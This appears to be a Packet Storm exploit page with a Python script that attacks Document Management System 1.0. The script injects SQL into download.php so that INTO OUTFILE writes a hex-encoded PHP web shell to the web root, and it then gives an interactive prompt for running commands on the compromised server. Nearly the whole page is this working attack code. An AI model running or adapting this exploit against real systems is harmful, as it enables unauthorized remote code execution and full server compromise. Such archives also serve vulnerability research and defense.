what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Document Management System 1.0 SQL Injection / Remote Code Execution

Document Management System 1.0 SQL Injection / Remote Code Execution
Posted Apr 23, 2021
Authored by Richard Jones

Document Management System version 1.0 remote SQL injection exploit that deploys a web shell.

tags | exploit, remote, web, shell, sql injection
SHA-256 | e8d80953b2ef01723266a3371f3a2c5a42156162d5474910c8ea7602487dd2d5

Document Management System 1.0 SQL Injection / Remote Code Execution

Change Mirror Download
# Exploit Title: Document Management System - SQL Injection to RCE (webshell)
# Date: 23/04/21
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/7652/document-management-system.html
# Version: 1.0
# Tested on: Windows 10 build 19041 + xampp 3.2.4

#!/usr/bin/python3
import requests
import sys
import urllib.parse
import time

URL=f"http://TARGET/doc_system/docsytems/" # Change URL
SAVEPATH="c:/xampp/htdocs/" #Change to webfolder root (ie: /var/www/html on unix)

HOSTNAME=urllib.parse.urlparse(f"{URL}").netloc
PHPPAYLOAD="3c3f7068702073797374656d28245f4745545b2763275d293b203f3e" #<?php system($_GET['c']);?>
PAYLOAD=f"-8087' OR 6017=6017 LIMIT 0,1 INTO OUTFILE '{SAVEPATH}xythif42taA.php' LINES TERMINATED BY 0x{PHPPAYLOAD}-- -" #Change filename if you wish, replace 'xythif42taA.php'

RS='\033[0m'
R='\033[0;31m'
G='\033[0;32m'
LB='\033[1;34m'
CY='\033[0;36m'
W='\033[1;73m'

def main():


s = requests.Session()

def banner():
return r"""________ _____ _________.__ .__ .__
\______ \ / \ ______/ _____/| |__ ____ | | | |
| | \ / \ / \ / ___/\_____ \ | | \_/ __ \| | | |
| ` \/ Y \\___ \ / \| Y \ ___/| |_| |__
/_______ /\____|__ /____ >_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/
Created by: Richard Jones
Date: 23/04/2021
Type: Webshell (sql injection)
"""

def checkTarget():
r = s.get(f"{URL}//View/download.php")
if r.status_code == 200:
return True

def sendPayload():
r = s.get(f"{URL}//View/download.php?id={PAYLOAD}")
if not r.status_code == 200:
print("Error in URL!, Check the URL again.")
sys.exit()

def checkShell():
r = s.get(f"http://{HOSTNAME}/xythif42taA.php")
if r.status_code == 200:
return True
else:
return False

def runWebShell():
while True:
cmd=input(f"{R}" + "DMsShell: " + f"{RS}")
if cmd == "exit":
sys.exit()
r = s.get(f"http://{HOSTNAME}/xythif42taA.php?c={cmd}")
print(r.text.split("</html>")[1])

print(f"{CY}" + banner() + f"{RS}")
print(f"{W}" + "[-] Checking Target" + f"{RS}")
if not checkTarget():
print(f"{R}"+"[!] Can't access download.php in target, check the URL" + f"{RS}")
sys.exit()
else:
print(f"{G}"+"[+] TARGET is alive!" + f"{RS}")
sendPayload()
if checkShell():
print(f"{G}"+"[+] SHELL Acitvating!" + f"{RS}")
time.sleep(1)
runWebShell()

if __name__ == "__main__":
main()
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close